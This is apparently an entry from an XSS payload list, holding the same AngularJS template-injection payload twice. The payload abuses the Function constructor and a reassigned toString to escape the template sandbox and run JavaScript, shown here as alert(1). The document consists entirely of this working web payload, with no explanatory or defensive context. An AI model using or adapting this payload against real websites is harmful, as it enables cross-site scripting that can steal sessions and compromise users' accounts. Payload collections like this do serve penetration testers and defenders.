{{toString.constructor.prototype.toString=toString.constructor.prototype.call;     ["a","alert(1)"].sort(toString.constructor)}}

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;
    ["a","alert(1)"].sort(toString.constructor)}}